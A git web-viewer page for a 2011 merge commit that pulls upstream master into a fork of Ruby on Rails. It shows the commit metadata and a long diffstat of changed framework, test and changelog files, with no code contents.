aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorOlli Jokinen <olli.jokinen@enemy.fi>2011-12-01 15:32:59 +0200
committerOlli Jokinen <olli.jokinen@enemy.fi>2011-12-01 15:32:59 +0200
commitb4e1903d23a760028d58bc3bb20a1d491bfd4a4b (patch)
treea40bdce1bd4800124ab6eaed2a6be017bf9cfd3d
parentfae9ad9c712decef70b379f5aa1faa0149902831 (diff)
parent1e51cd957e3c90f4be35f1f0c4c380d8f7d40d66 (diff)
downloadrails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.tar.gz
rails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.tar.bz2
rails-b4e1903d23a760028d58bc3bb20a1d491bfd4a4b.zip
Merge remote-tracking branch 'upstream/master'
-rw-r--r--.gitignore47
-rw-r--r--.travis.yml7
-rw-r--r--Gemfile37
-rw-r--r--README.rdoc21
-rw-r--r--RELEASING_RAILS.rdoc238
-rwxr-xr-xRakefile25
-rw-r--r--actionmailer/CHANGELOG449
-rw-r--r--actionmailer/CHANGELOG.md449
-rw-r--r--actionmailer/README.rdoc10
-rw-r--r--actionmailer/actionmailer.gemspec2
-rw-r--r--actionmailer/lib/action_mailer/base.rb6
-rw-r--r--actionmailer/lib/action_mailer/test_case.rb25
-rw-r--r--actionmailer/test/mailers/base_mailer.rb2
-rw-r--r--actionmailer/test/test_test.rb28
-rw-r--r--actionpack/CHANGELOG5585
-rw-r--r--actionpack/CHANGELOG.md5728
-rw-r--r--actionpack/README.rdoc6
-rw-r--r--actionpack/RUNNING_UNIT_TESTS2
-rwxr-xr-xactionpack/Rakefile5
-rw-r--r--actionpack/actionpack.gemspec24
-rw-r--r--actionpack/lib/abstract_controller/asset_paths.rb3
-rw-r--r--actionpack/lib/abstract_controller/callbacks.rb120
-rw-r--r--actionpack/lib/abstract_controller/layouts.rb17
-rw-r--r--actionpack/lib/abstract_controller/railties/routes_helpers.rb4
-rw-r--r--actionpack/lib/abstract_controller/rendering.rb4
-rw-r--r--actionpack/lib/abstract_controller/view_paths.rb9
-rw-r--r--actionpack/lib/action_controller/base.rb4
-rw-r--r--actionpack/lib/action_controller/caching.rb1
-rw-r--r--actionpack/lib/action_controller/caching/actions.rb4
-rw-r--r--actionpack/lib/action_controller/caching/pages.rb2
-rw-r--r--actionpack/lib/action_controller/caching/sweeping.rb2
-rw-r--r--actionpack/lib/action_controller/log_subscriber.rb4
-rw-r--r--actionpack/lib/action_controller/metal.rb8
-rw-r--r--actionpack/lib/action_controller/metal/data_streaming.rb6
-rw-r--r--actionpack/lib/action_controller/metal/force_ssl.rb7
-rw-r--r--actionpack/lib/action_controller/metal/head.rb2
-rw-r--r--actionpack/lib/action_controller/metal/helpers.rb9
-rw-r--r--actionpack/lib/action_controller/metal/http_authentication.rb2
-rw-r--r--actionpack/lib/action_controller/metal/instrumentation.rb13
-rw-r--r--actionpack/lib/action_controller/metal/mime_responds.rb8
-rw-r--r--actionpack/lib/action_controller/metal/params_wrapper.rb30
-rw-r--r--actionpack/lib/action_controller/metal/redirecting.rb8
-rw-r--r--actionpack/lib/action_controller/metal/renderers.rb20
-rw-r--r--actionpack/lib/action_controller/metal/request_forgery_protection.rb2
-rw-r--r--actionpack/lib/action_controller/metal/rescue.rb10
-rw-r--r--actionpack/lib/action_controller/metal/responder.rb32
-rw-r--r--actionpack/lib/action_controller/metal/testing.rb5
-rw-r--r--actionpack/lib/action_controller/metal/url_for.rb2
-rw-r--r--actionpack/lib/action_controller/railtie.rb2
-rw-r--r--actionpack/lib/action_controller/railties/paths.rb7
-rw-r--r--actionpack/lib/action_controller/record_identifier.rb6
-rw-r--r--actionpack/lib/action_controller/test_case.rb35
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner/html/document.rb2
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner/html/node.rb2
-rw-r--r--actionpack/lib/action_controller/vendor/html-scanner/html/sanitizer.rb1
-rw-r--r--actionpack/lib/action_dispatch.rb2
-rw-r--r--actionpack/lib/action_dispatch/http/headers.rb2
-rw-r--r--actionpack/lib/action_dispatch/http/mime_type.rb4
-rw-r--r--actionpack/lib/action_dispatch/http/request.rb45
-rw-r--r--actionpack/lib/action_dispatch/http/upload.rb17
-rw-r--r--actionpack/lib/action_dispatch/http/url.rb12
-rw-r--r--actionpack/lib/action_dispatch/middleware/cookies.rb12
-rw-r--r--actionpack/lib/action_dispatch/middleware/flash.rb4
-rw-r--r--actionpack/lib/action_dispatch/middleware/params_parser.rb13
-rw-r--r--actionpack/lib/action_dispatch/middleware/remote_ip.rb102
-rw-r--r--actionpack/lib/action_dispatch/middleware/request_id.rb39
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/abstract_store.rb5
-rw-r--r--actionpack/lib/action_dispatch/middleware/session/cache_store.rb50
-rw-r--r--actionpack/lib/action_dispatch/middleware/show_exceptions.rb64
-rw-r--r--actionpack/lib/action_dispatch/middleware/templates/rescues/layout.erb1
-rw-r--r--actionpack/lib/action_dispatch/railtie.rb7
-rw-r--r--actionpack/lib/action_dispatch/routing/mapper.rb167
-rw-r--r--actionpack/lib/action_dispatch/routing/redirection.rb122
-rw-r--r--actionpack/lib/action_dispatch/routing/route.rb60
-rw-r--r--actionpack/lib/action_dispatch/routing/route_set.rb112
-rw-r--r--actionpack/lib/action_dispatch/routing/url_for.rb23
-rw-r--r--actionpack/lib/action_dispatch/testing/assertions/selector.rb4
-rw-r--r--actionpack/lib/action_dispatch/testing/integration.rb8
-rw-r--r--actionpack/lib/action_dispatch/testing/test_process.rb7
-rw-r--r--actionpack/lib/action_view.rb1
-rw-r--r--actionpack/lib/action_view/asset_paths.rb31
-rw-r--r--actionpack/lib/action_view/base.rb4
-rw-r--r--actionpack/lib/action_view/data/encoding_conversions.txt88
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb4
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb2
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb6
-rw-r--r--actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb7
-rw-r--r--actionpack/lib/action_view/helpers/atom_feed_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/cache_helper.rb2
-rw-r--r--actionpack/lib/action_view/helpers/capture_helper.rb6
-rw-r--r--actionpack/lib/action_view/helpers/date_helper.rb15
-rw-r--r--actionpack/lib/action_view/helpers/form_helper.rb39
-rw-r--r--actionpack/lib/action_view/helpers/form_options_helper.rb7
-rw-r--r--actionpack/lib/action_view/helpers/form_tag_helper.rb33
-rw-r--r--actionpack/lib/action_view/helpers/javascript_helper.rb17
-rw-r--r--actionpack/lib/action_view/helpers/number_helper.rb9
-rw-r--r--actionpack/lib/action_view/helpers/record_tag_helper.rb56
-rw-r--r--actionpack/lib/action_view/helpers/rendering_helper.rb4
-rw-r--r--actionpack/lib/action_view/helpers/text_helper.rb4
-rw-r--r--actionpack/lib/action_view/helpers/translation_helper.rb15
-rw-r--r--actionpack/lib/action_view/helpers/url_helper.rb36
-rw-r--r--actionpack/lib/action_view/lookup_context.rb229
-rw-r--r--actionpack/lib/action_view/path_set.rb73
-rw-r--r--actionpack/lib/action_view/renderer/abstract_renderer.rb27
-rw-r--r--actionpack/lib/action_view/renderer/partial_renderer.rb38
-rw-r--r--actionpack/lib/action_view/renderer/template_renderer.rb24
-rw-r--r--actionpack/lib/action_view/template.rb27
-rw-r--r--actionpack/lib/action_view/template/error.rb6
-rw-r--r--actionpack/lib/action_view/template/handlers/builder.rb11
-rw-r--r--actionpack/lib/action_view/template/handlers/erb.rb2
-rw-r--r--actionpack/lib/action_view/template/resolver.rb63
-rw-r--r--actionpack/lib/action_view/test_case.rb13
-rw-r--r--actionpack/lib/sprockets/assets.rake101
-rw-r--r--actionpack/lib/sprockets/bootstrap.rb37
-rw-r--r--actionpack/lib/sprockets/compressors.rb76
-rw-r--r--actionpack/lib/sprockets/helpers.rb3
-rw-r--r--actionpack/lib/sprockets/helpers/isolated_helper.rb13
-rw-r--r--actionpack/lib/sprockets/helpers/rails_helper.rb110
-rw-r--r--actionpack/lib/sprockets/railtie.rb79
-rw-r--r--actionpack/lib/sprockets/static_compiler.rb61
-rw-r--r--actionpack/test/abstract/abstract_controller_test.rb6
-rw-r--r--actionpack/test/abstract_unit.rb19
-rw-r--r--actionpack/test/activerecord/polymorphic_routes_test.rb22
-rw-r--r--actionpack/test/controller/assert_select_test.rb19
-rw-r--r--actionpack/test/controller/caching_test.rb64
-rw-r--r--actionpack/test/controller/default_url_options_with_filter_test.rb29
-rw-r--r--actionpack/test/controller/force_ssl_test.rb22
-rw-r--r--actionpack/test/controller/helper_test.rb1
-rw-r--r--actionpack/test/controller/http_basic_authentication_test.rb8
-rw-r--r--actionpack/test/controller/integration_test.rb11
-rw-r--r--actionpack/test/controller/layout_test.rb4
-rw-r--r--actionpack/test/controller/log_subscriber_test.rb13
-rw-r--r--actionpack/test/controller/mime_responds_test.rb52
-rw-r--r--actionpack/test/controller/new_base/bare_metal_test.rb6
-rw-r--r--actionpack/test/controller/new_base/render_file_test.rb10
-rw-r--r--actionpack/test/controller/new_base/render_partial_test.rb10
-rw-r--r--actionpack/test/controller/new_base/render_template_test.rb6
-rw-r--r--actionpack/test/controller/redirect_test.rb5
-rw-r--r--actionpack/test/controller/render_test.rb46
-rw-r--r--actionpack/test/controller/request_forgery_protection_test.rb16
-rw-r--r--actionpack/test/controller/resources_test.rb20
-rw-r--r--actionpack/test/controller/routing_test.rb115
-rw-r--r--actionpack/test/controller/show_exceptions_test.rb59
-rw-r--r--actionpack/test/controller/test_test.rb59
-rw-r--r--actionpack/test/controller/url_for_integration_test.rb177
-rw-r--r--actionpack/test/controller/url_for_test.rb25
-rw-r--r--actionpack/test/controller/url_rewriter_test.rb4
-rw-r--r--actionpack/test/dispatch/cookies_test.rb20
-rw-r--r--actionpack/test/dispatch/mapper_test.rb1
-rw-r--r--actionpack/test/dispatch/mime_type_test.rb2
-rw-r--r--actionpack/test/dispatch/request/json_params_parsing_test.rb18
-rw-r--r--actionpack/test/dispatch/request/xml_params_parsing_test.rb20
-rw-r--r--actionpack/test/dispatch/request_id_test.rb65
-rw-r--r--actionpack/test/dispatch/request_test.rb10
-rw-r--r--actionpack/test/dispatch/routing_test.rb111
-rw-r--r--actionpack/test/dispatch/session/cache_store_test.rb181
-rw-r--r--actionpack/test/dispatch/session/cookie_store_test.rb2
-rw-r--r--actionpack/test/dispatch/show_exceptions_test.rb114
-rw-r--r--actionpack/test/fixtures/comments/empty.de.html.erb1
-rw-r--r--actionpack/test/fixtures/comments/empty.html.builder1
-rw-r--r--actionpack/test/fixtures/comments/empty.html.erb1
-rw-r--r--actionpack/test/fixtures/comments/empty.xml.erb1
-rw-r--r--actionpack/test/fixtures/company.rb4
-rw-r--r--actionpack/test/fixtures/developer.rb2
-rw-r--r--actionpack/test/fixtures/functional_caching/fragment_cached.html.erb1
-rw-r--r--actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb3
-rw-r--r--actionpack/test/fixtures/test/_label_with_block.erb4
-rw-r--r--actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb2
-rw-r--r--actionpack/test/fixtures/test/hello,world.erb1
-rw-r--r--actionpack/test/lib/controller/fake_models.rb15
-rw-r--r--actionpack/test/template/asset_tag_helper_test.rb4
-rw-r--r--actionpack/test/template/capture_helper_test.rb36
-rw-r--r--actionpack/test/template/compiled_templates_test.rb18
-rw-r--r--actionpack/test/template/compressors_test.rb28
-rw-r--r--actionpack/test/template/date_helper_test.rb9
-rw-r--r--actionpack/test/template/form_helper_test.rb143
-rw-r--r--actionpack/test/template/form_options_helper_test.rb18
-rw-r--r--actionpack/test/template/form_tag_helper_test.rb44
-rw-r--r--actionpack/test/template/html-scanner/sanitizer_test.rb7
-rw-r--r--actionpack/test/template/html-scanner/tag_node_test.rb7
-rw-r--r--actionpack/test/template/javascript_helper_test.rb6
-rw-r--r--actionpack/test/template/log_subscriber_test.rb2
-rw-r--r--actionpack/test/template/lookup_context_test.rb10
-rw-r--r--actionpack/test/template/number_helper_test.rb1
-rw-r--r--actionpack/test/template/record_tag_helper_test.rb47
-rw-r--r--actionpack/test/template/render_test.rb92
-rw-r--r--actionpack/test/template/sprockets_helper_test.rb172
-rw-r--r--actionpack/test/template/streaming_render_test.rb16
-rw-r--r--actionpack/test/template/tag_helper_test.rb10
-rw-r--r--actionpack/test/template/template_test.rb3
-rw-r--r--actionpack/test/template/test_test.rb16
-rw-r--r--actionpack/test/template/text_helper_test.rb8
-rw-r--r--actionpack/test/template/translation_helper_test.rb18
-rw-r--r--actionpack/test/template/url_helper_test.rb14
-rw-r--r--activemodel/CHANGELOG105
-rw-r--r--activemodel/CHANGELOG.md116
-rw-r--r--activemodel/README.rdoc4
-rw-r--r--activemodel/activemodel.gemspec3
-rw-r--r--activemodel/lib/active_model/attribute_methods.rb196
-rw-r--r--activemodel/lib/active_model/callbacks.rb4
-rw-r--r--activemodel/lib/active_model/conversion.rb10
-rw-r--r--activemodel/lib/active_model/dirty.rb4
-rw-r--r--activemodel/lib/active_model/errors.rb89
-rw-r--r--activemodel/lib/active_model/lint.rb8
-rw-r--r--activemodel/lib/active_model/mass_assignment_security/sanitizer.rb5
-rw-r--r--activemodel/lib/active_model/naming.rb29
-rw-r--r--activemodel/lib/active_model/observing.rb7
-rw-r--r--activemodel/lib/active_model/secure_password.rb11
-rw-r--r--activemodel/lib/active_model/serialization.rb31
-rw-r--r--activemodel/lib/active_model/serializers/json.rb24
-rw-r--r--activemodel/lib/active_model/serializers/xml.rb46
-rw-r--r--activemodel/lib/active_model/validations/acceptance.rb2
-rw-r--r--activemodel/lib/active_model/validations/confirmation.rb2
-rw-r--r--activemodel/lib/active_model/validations/exclusion.rb2
-rw-r--r--activemodel/lib/active_model/validations/format.rb2
-rw-r--r--activemodel/lib/active_model/validations/inclusion.rb2
-rw-r--r--activemodel/lib/active_model/validations/length.rb4
-rw-r--r--activemodel/lib/active_model/validations/numericality.rb2
-rw-r--r--activemodel/lib/active_model/validations/presence.rb8
-rw-r--r--activemodel/lib/active_model/validations/validates.rb24
-rw-r--r--activemodel/lib/active_model/validations/with.rb10
-rw-r--r--activemodel/lib/active_model/validator.rb8
-rw-r--r--activemodel/test/cases/attribute_methods_test.rb131
-rw-r--r--activemodel/test/cases/conversion_test.rb6
-rw-r--r--activemodel/test/cases/errors_test.rb101
-rw-r--r--activemodel/test/cases/mass_assignment_security/sanitizer_test.rb10
-rw-r--r--activemodel/test/cases/naming_test.rb61
-rw-r--r--activemodel/test/cases/observing_test.rb12
-rw-r--r--activemodel/test/cases/secure_password_test.rb10
-rw-r--r--activemodel/test/cases/serialization_test.rb32
-rw-r--r--activemodel/test/cases/serializers/json_serialization_test.rb24
-rw-r--r--activemodel/test/cases/serializers/xml_serialization_test.rb19
-rw-r--r--activemodel/test/cases/validations/exclusion_validation_test.rb12
-rw-r--r--activemodel/test/cases/validations/format_validation_test.rb24
-rw-r--r--activemodel/test/cases/validations/inclusion_validation_test.rb12
-rw-r--r--activemodel/test/cases/validations_test.rb33
-rw-r--r--activemodel/test/models/blog_post.rb8
-rw-r--r--activerecord/CHANGELOG6500
-rw-r--r--activerecord/CHANGELOG.md6678
-rw-r--r--activerecord/README.rdoc8
-rw-r--r--activerecord/activerecord.gemspec4
-rw-r--r--activerecord/examples/performance.rb9
-rw-r--r--activerecord/lib/active_record.rb12
-rw-r--r--activerecord/lib/active_record/aggregations.rb7
-rw-r--r--activerecord/lib/active_record/associations.rb50
-rw-r--r--activerecord/lib/active_record/associations/alias_tracker.rb18
-rw-r--r--activerecord/lib/active_record/associations/association.rb16
-rw-r--r--activerecord/lib/active_record/associations/association_scope.rb27
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_association.rb10
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb10
-rw-r--r--activerecord/lib/active_record/associations/builder/association.rb10
-rw-r--r--activerecord/lib/active_record/associations/builder/belongs_to.rb6
-rw-r--r--activerecord/lib/active_record/associations/builder/collection_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/builder/has_many.rb6
-rw-r--r--activerecord/lib/active_record/associations/builder/has_one.rb11
-rw-r--r--activerecord/lib/active_record/associations/builder/singular_association.rb6
-rw-r--r--activerecord/lib/active_record/associations/collection_association.rb10
-rw-r--r--activerecord/lib/active_record/associations/collection_proxy.rb4
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/has_many_association.rb12
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb73
-rw-r--r--activerecord/lib/active_record/associations/join_dependency.rb5
-rw-r--r--activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb2
-rw-r--r--activerecord/lib/active_record/associations/through_association.rb4
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb84
-rw-r--r--activerecord/lib/active_record/attribute_methods/dirty.rb6
-rw-r--r--activerecord/lib/active_record/attribute_methods/primary_key.rb77
-rw-r--r--activerecord/lib/active_record/attribute_methods/read.rb58
-rw-r--r--activerecord/lib/active_record/attribute_methods/serialization.rb100
-rw-r--r--activerecord/lib/active_record/attribute_methods/write.rb20
-rw-r--r--activerecord/lib/active_record/autosave_association.rb27
-rw-r--r--activerecord/lib/active_record/base.rb360
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb219
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_specification.rb131
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb47
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb5
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/quoting.rb11
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb9
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb40
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_adapter.rb94
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb719
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb569
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb686
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb203
-rw-r--r--activerecord/lib/active_record/connection_adapters/schema_cache.rb72
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb2
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb100
-rw-r--r--activerecord/lib/active_record/connection_adapters/statement_pool.rb40
-rw-r--r--activerecord/lib/active_record/counter_cache.rb2
-rw-r--r--activerecord/lib/active_record/errors.rb23
-rw-r--r--activerecord/lib/active_record/fixtures.rb753
-rw-r--r--activerecord/lib/active_record/fixtures/file.rb12
-rw-r--r--activerecord/lib/active_record/locking/optimistic.rb32
-rw-r--r--activerecord/lib/active_record/migration.rb19
-rw-r--r--activerecord/lib/active_record/migration/command_recorder.rb2
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb5
-rw-r--r--activerecord/lib/active_record/observer.rb2
-rw-r--r--activerecord/lib/active_record/persistence.rb5
-rw-r--r--activerecord/lib/active_record/query_cache.rb12
-rw-r--r--activerecord/lib/active_record/railties/databases.rake199
-rw-r--r--activerecord/lib/active_record/reflection.rb38
-rw-r--r--activerecord/lib/active_record/relation.rb90
-rw-r--r--activerecord/lib/active_record/relation/batches.rb2
-rw-r--r--activerecord/lib/active_record/relation/calculations.rb21
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb20
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb16
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb96
-rw-r--r--activerecord/lib/active_record/schema_dumper.rb7
-rw-r--r--activerecord/lib/active_record/serializers/xml_serializer.rb2
-rw-r--r--activerecord/lib/active_record/session_store.rb4
-rw-r--r--activerecord/lib/active_record/store.rb50
-rw-r--r--activerecord/lib/active_record/timestamp.rb19
-rw-r--r--activerecord/lib/active_record/validations/associated.rb10
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb4
-rw-r--r--activerecord/test/active_record/connection_adapters/fake_adapter.rb7
-rw-r--r--activerecord/test/cases/adapter_test.rb241
-rw-r--r--activerecord/test/cases/adapters/mysql/active_schema_test.rb8
-rw-r--r--activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb35
-rw-r--r--activerecord/test/cases/adapters/mysql/schema_test.rb8
-rw-r--r--activerecord/test/cases/adapters/mysql/statement_pool_test.rb23
-rw-r--r--activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb35
-rw-r--r--activerecord/test/cases/adapters/mysql2/explain_test.rb26
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_test.rb8
-rw-r--r--activerecord/test/cases/adapters/postgresql/explain_test.rb28
-rw-r--r--activerecord/test/cases/adapters/postgresql/schema_test.rb76
-rw-r--r--activerecord/test/cases/adapters/postgresql/statement_pool_test.rb39
-rw-r--r--activerecord/test/cases/adapters/postgresql/utils_test.rb18
-rw-r--r--activerecord/test/cases/adapters/postgresql/view_test.rb2
-rw-r--r--activerecord/test/cases/adapters/sqlite3/explain_test.rb26
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb23
-rw-r--r--activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb24
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb14
-rw-r--r--activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb2
-rw-r--r--activerecord/test/cases/associations/extension_test.rb18
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb40
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb73
-rw-r--r--activerecord/test/cases/associations/has_many_through_associations_test.rb42
-rw-r--r--activerecord/test/cases/associations/join_model_test.rb2
-rw-r--r--activerecord/test/cases/associations/nested_through_associations_test.rb13
-rw-r--r--activerecord/test/cases/associations_test.rb16
-rw-r--r--activerecord/test/cases/attribute_methods/read_test.rb1
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb92
-rw-r--r--activerecord/test/cases/autosave_association_test.rb11
-rw-r--r--activerecord/test/cases/base_test.rb292
-rw-r--r--activerecord/test/cases/batches_test.rb20
-rw-r--r--activerecord/test/cases/calculations_test.rb27
-rw-r--r--activerecord/test/cases/callbacks_test.rb14
-rw-r--r--activerecord/test/cases/column_definition_test.rb32
-rw-r--r--activerecord/test/cases/connection_adapters/abstract_adapter_test.rb54
-rw-r--r--activerecord/test/cases/connection_adapters/connection_handler_test.rb19
-rw-r--r--activerecord/test/cases/connection_adapters/schema_cache_test.rb49
-rw-r--r--activerecord/test/cases/connection_management_test.rb34
-rw-r--r--activerecord/test/cases/connection_pool_test.rb72
-rw-r--r--activerecord/test/cases/connection_specification/resolver_test.rb41
-rw-r--r--activerecord/test/cases/finder_test.rb46
-rw-r--r--activerecord/test/cases/fixtures_test.rb50
-rw-r--r--activerecord/test/cases/inheritance_test.rb4
-rw-r--r--activerecord/test/cases/invertible_migration_test.rb39
-rw-r--r--activerecord/test/cases/lifecycle_test.rb12
-rw-r--r--activerecord/test/cases/locking_test.rb65
-rw-r--r--activerecord/test/cases/mass_assignment_security_test.rb4
-rw-r--r--activerecord/test/cases/method_scoping_test.rb8
-rw-r--r--activerecord/test/cases/migration/command_recorder_test.rb4
-rw-r--r--activerecord/test/cases/migration_test.rb156
-rw-r--r--activerecord/test/cases/multiple_db_test.rb1
-rw-r--r--activerecord/test/cases/named_scope_test.rb2
-rw-r--r--activerecord/test/cases/nested_attributes_test.rb8
-rw-r--r--activerecord/test/cases/persistence_test.rb17
-rw-r--r--activerecord/test/cases/pooled_connections_test.rb74
-rw-r--r--activerecord/test/cases/primary_keys_test.rb23
-rw-r--r--activerecord/test/cases/query_cache_test.rb49
-rw-r--r--activerecord/test/cases/reflection_test.rb31
-rw-r--r--activerecord/test/cases/relation_scoping_test.rb20
-rw-r--r--activerecord/test/cases/relation_test.rb2
-rw-r--r--activerecord/test/cases/relations_test.rb204
-rw-r--r--activerecord/test/cases/schema_dumper_test.rb22
-rw-r--r--activerecord/test/cases/serialization_test.rb13
-rw-r--r--activerecord/test/cases/session_store/session_test.rb2
-rw-r--r--activerecord/test/cases/store_test.rb34
-rw-r--r--activerecord/test/cases/timestamp_test.rb10
-rw-r--r--activerecord/test/cases/transaction_callbacks_test.rb4
-rw-r--r--activerecord/test/cases/transactions_test.rb3
-rw-r--r--activerecord/test/cases/unconnected_test.rb2
-rw-r--r--activerecord/test/cases/validations_test.rb2
-rw-r--r--activerecord/test/cases/yaml_serialization_test.rb5
-rw-r--r--activerecord/test/config.example.yml2
-rw-r--r--activerecord/test/fixtures/pirates.yml4
-rw-r--r--activerecord/test/fixtures/tasks.yml2
-rw-r--r--activerecord/test/models/admin/user.rb3
-rw-r--r--activerecord/test/models/author.rb1
-rw-r--r--activerecord/test/models/car.rb2
-rw-r--r--activerecord/test/models/company.rb3
-rw-r--r--activerecord/test/models/contact.rb13
-rw-r--r--activerecord/test/models/country.rb2
-rw-r--r--activerecord/test/models/dashboard.rb4
-rw-r--r--activerecord/test/models/developer.rb9
-rw-r--r--activerecord/test/models/joke.rb4
-rw-r--r--activerecord/test/models/keyboard.rb2
-rw-r--r--activerecord/test/models/legacy_thing.rb2
-rw-r--r--activerecord/test/models/liquid.rb2
-rw-r--r--activerecord/test/models/minivan.rb2
-rw-r--r--activerecord/test/models/mixed_case_monkey.rb2
-rw-r--r--activerecord/test/models/owner.rb2
-rw-r--r--activerecord/test/models/parrot.rb3
-rw-r--r--activerecord/test/models/pet.rb2
-rw-r--r--activerecord/test/models/post.rb14
-rw-r--r--activerecord/test/models/speedometer.rb4
-rw-r--r--activerecord/test/models/string_key_object.rb2
-rw-r--r--activerecord/test/models/subscriber.rb2
-rw-r--r--activerecord/test/models/topic.rb9
-rw-r--r--activerecord/test/models/toy.rb4
-rw-r--r--activerecord/test/models/treaty.rb2
-rw-r--r--activerecord/test/models/warehouse_thing.rb4
-rw-r--r--activerecord/test/schema/mysql2_specific_schema.rb13
-rw-r--r--activerecord/test/schema/mysql_specific_schema.rb11
-rw-r--r--activerecord/test/schema/schema.rb9
-rw-r--r--activeresource/CHANGELOG324
-rw-r--r--activeresource/CHANGELOG.md334
-rw-r--r--activeresource/README.rdoc10
-rw-r--r--activeresource/activeresource.gemspec2
-rw-r--r--activeresource/lib/active_resource/base.rb28
-rw-r--r--activeresource/lib/active_resource/connection.rb7
-rw-r--r--activeresource/lib/active_resource/custom_methods.rb50
-rw-r--r--activeresource/lib/active_resource/exceptions.rb32
-rw-r--r--activeresource/test/cases/authorization_test.rb6
-rw-r--r--activeresource/test/cases/base/load_test.rb19
-rw-r--r--activeresource/test/cases/base_test.rb44
-rw-r--r--activeresource/test/cases/connection_test.rb19
-rw-r--r--activesupport/CHANGELOG1540
-rw-r--r--activesupport/CHANGELOG.md1581
-rw-r--r--activesupport/README.rdoc4
-rw-r--r--activesupport/activesupport.gemspec2
-rw-r--r--activesupport/lib/active_support.rb1
-rw-r--r--activesupport/lib/active_support/buffered_logger.rb44
-rw-r--r--activesupport/lib/active_support/cache.rb179
-rw-r--r--activesupport/lib/active_support/cache/file_store.rb27
-rw-r--r--activesupport/lib/active_support/cache/mem_cache_store.rb4
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb4
-rw-r--r--activesupport/lib/active_support/callbacks.rb73
-rw-r--r--activesupport/lib/active_support/concern.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/array.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/array/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/array/prepend_and_append.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/big_decimal/conversions.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/date/calculations.rb49
-rw-r--r--activesupport/lib/active_support/core_ext/enumerable.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/slice.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/io.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/module.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb53
-rw-r--r--activesupport/lib/active_support/core_ext/module/qualified_const.rb64
-rw-r--r--activesupport/lib/active_support/core_ext/module/reachable.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/module/remove_method.rb9
-rw-r--r--activesupport/lib/active_support/core_ext/module/synchronization.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/object/inclusion.rb24
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_json.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_query.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/object/try.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/range/conversions.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string/inflections.rb49
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb32
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb54
-rw-r--r--activesupport/lib/active_support/core_ext/time/conversions.rb22
-rw-r--r--activesupport/lib/active_support/dependencies.rb91
-rw-r--r--activesupport/lib/active_support/gzip.rb1
-rw-r--r--activesupport/lib/active_support/hash_with_indifferent_access.rb2
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb3
-rw-r--r--activesupport/lib/active_support/inflections.rb1
